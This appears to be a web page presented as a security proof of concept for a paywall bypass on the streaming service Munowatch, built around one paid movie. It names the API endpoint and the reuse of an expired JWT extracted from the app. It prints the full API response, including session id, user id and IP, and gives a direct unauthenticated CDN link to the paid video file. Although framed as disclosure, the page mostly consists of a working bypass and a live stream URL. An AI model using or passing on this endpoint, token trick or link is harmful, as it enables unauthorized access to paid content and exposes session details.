The Strangers: Chapter 3 — Munowatch PoC

SECURITY PoC — NO AUTH

THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required

Per-movie CDN bypass proof:
The API returned playingUrl for The Strangers: Chapter 3 with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.

The Strangers: Chapter 3

Vj Emmy Horror 01h 31m 3 months ago

In the series' most brutal chapter, Maya collides with the masked killers and finds the only way out of the nightmare...is in.

API Response Evidence — Vulnerability Proof

Endpoint called GET /api/preview/v2/62529/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access deny

paid_for YES (premium content)

substatus EXPIRED

serverhost 79

video_name THE STRANGERS CHAPTER 3 EMMY.2026.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN stream https://yuti.b-cdn.net/kafulaano/kafulaano42/THE%20STRANGERS%20CHAPTER%203%20EMMY.2026.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 62529,
    "video_title": "The Strangers: Chapter 3",
    "description": "In the series' most brutal chapter, Maya collides with the masked killers and finds the only way out of the nightmare...is in.",
    "video_name": "THE STRANGERS CHAPTER 3 EMMY.2026.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "79",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 31m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/u3kZK3SAS26595.jpg",
    "tfilehistory": "",
    "category_id": 2,
    "language_id": 1,
    "recording_date": "2026-03-13",
    "age_id": "18 +",
    "location": 1,
    "tab_category_id": 2,
    "series_code": "62529",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "951.35 MB",
    "create_date": "2026-03-13 16:03:40",
    "schedule_date": "13.03.2026 04:02:28 PM",
    "user_id": 1118356,
    "vj_id": 2,
    "video_status_id": 0,
    "network_id": "45.221.8.55",
    "user_access": "deny",
    "notification": "No",
    "secduration": "5472.000000",
    "issubscriber": false,
    "genre": "Horror",
    "vjname": "Vj Emmy",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 5,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "3 months ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}